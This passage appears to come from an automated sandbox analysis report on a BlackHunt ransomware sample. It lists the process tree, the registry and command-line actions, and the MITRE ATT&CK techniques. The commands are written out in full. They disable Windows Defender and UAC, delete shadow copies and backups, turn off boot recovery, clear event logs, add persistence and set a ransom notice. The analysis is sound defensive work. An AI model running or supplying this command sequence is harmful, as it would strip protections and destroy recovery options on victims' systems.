cmd.exe 126 PID 4972 wrote to memory of 1552 4972 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe 127 PID 4972 wrote to memory of 1552 4972 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe 127 PID 2128 wrote to memory of 3572 2128 cmd.exe 128 PID 2128 wrote to memory of 3572 2128 cmd.exe 128 PID 4972 wrote to memory of 3900 4972 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe 130 PID 4972 wrote to memory of 3900 4972 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe 130 PID 4888 wrote to memory of 3228 4888 cmd.exe 193 PID 4888 wrote to memory of 3228 4888 cmd.exe 193 PID 4100 wrote to memory of 4532 4100 cmd.exe 132 PID 4100 wrote to memory of 4532 4100 cmd.exe 132 PID 4668 wrote to memory of 1396 4668 cmd.exe 134 PID 4668 wrote to memory of 1396 4668 cmd.exe 134 PID 4384 wrote to memory of 2928 4384 cmd.exe 137 PID 4384 wrote to memory of 2928 4384 cmd.exe 137 PID 4972 wrote to memory of 4292 4972 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe 135 PID 4972 wrote to memory of 4292 4972 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe 135 PID 4972 wrote to memory of 5028 4972 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe 139 PID 4972 wrote to memory of 5028 4972 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe 139 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" 35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe"C:\Users\Admin\AppData\Local\Temp\35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe"1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4972 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:4364 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:3872
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:4692 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2384
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:3908 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵
- Modifies registry class
PID:3808
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:1452 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:4040
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵
- Suspicious use of WriteProcessMemory
PID:4368 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵
- Adds Run key to start application
PID:4500
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵PID:4464
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:2660
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:1144 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:4148
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵
- Suspicious use of WriteProcessMemory
PID:212 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:408
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:2520 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:3656
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵
- Suspicious use of WriteProcessMemory
PID:2128 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:3572
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵
- Suspicious use of WriteProcessMemory
PID:4668 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:1396
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵
- Suspicious use of WriteProcessMemory
PID:4888 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:3228
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵
- Suspicious use of WriteProcessMemory
PID:4100 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:4532
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:4384 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:2928
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:1552
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:3432
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:3900
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:2160
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:4292
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:4908
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:5028
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:1412
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:3096
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:4412
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:3860
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:3256
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:2200
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:4456
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:3156
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:3140
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:4436
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:2352
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:1728
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:3844
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:1676
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:1188
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:532
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:8460
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:4136
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:1632
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:4160
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:2324
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe" /F2⤵PID:4804
-
C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe" /F3⤵
- Creates scheduled task(s)
PID:7240
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:2196
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:9880
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:3920
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:7032
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:32
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:9116
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:3884
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:8716
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:1124
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:8724
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:3588
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:400
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:1660
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:6236
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:1240
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:5832
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:4072
-
C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:6256
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:3228
-
C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:8672
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:3732
-
C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:6244
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\2⤵PID:868
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D F:\3⤵
- Enumerates connected drives
PID:5404
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\2⤵PID:5388
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D C:\3⤵PID:11896
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\2⤵PID:5288
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D M:\3⤵
- Enumerates connected drives
PID:12720
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup2⤵PID:12404
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Setup3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:11012
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System2⤵PID:7740
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl System3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:1480
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application2⤵PID:10644
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Application3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:11112
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security2⤵PID:14612
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Security3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:4324
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false2⤵PID:12712
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Security /e:false3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:11288
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:5688
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:13000
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:12048
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:11704
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:11252
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:11880
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:12436
-
C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:11756
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:11412
-
C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:2456
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:11624
-
C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:11856
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f2⤵PID:11940
-
C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f3⤵PID:4560
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f2⤵PID:12460
-
C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f3⤵PID:4580
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f2⤵PID:11476
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f3⤵PID:13600
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F2⤵PID:11484
-
C:\Windows\system32\schtasks.exeSCHTASKS.exe /Delete /TN "Windows Critical Update" /F3⤵PID:14204
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f2⤵PID:11904
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f3⤵PID:12420
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt2⤵PID:13364
-
C:\Windows\system32\notepad.exenotepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt3⤵PID:12988
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\35f4016bc5904354733227493c04898fc578a98a36bf8e0f79fde2afd667b202.exe"2⤵PID:12092
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:16804
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta2⤵
- Checks computer location settings
- Modifies registry class
PID:12052 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}3⤵PID:13652
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 13652 -s 14564⤵
- Program crash
PID:12704
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f2⤵PID:13368
-
C:\Windows\system32\taskkill.exetaskkill /IM mshta.exe /f3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:13580
-
-
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
- Suspicious use of WriteProcessMemory
PID:4464
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:9308
-
C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5804
-
C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:10472
-
C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵
- Checks SCSI registry key(s)
PID:17168
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 13652 -ip 136521⤵PID:12380
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
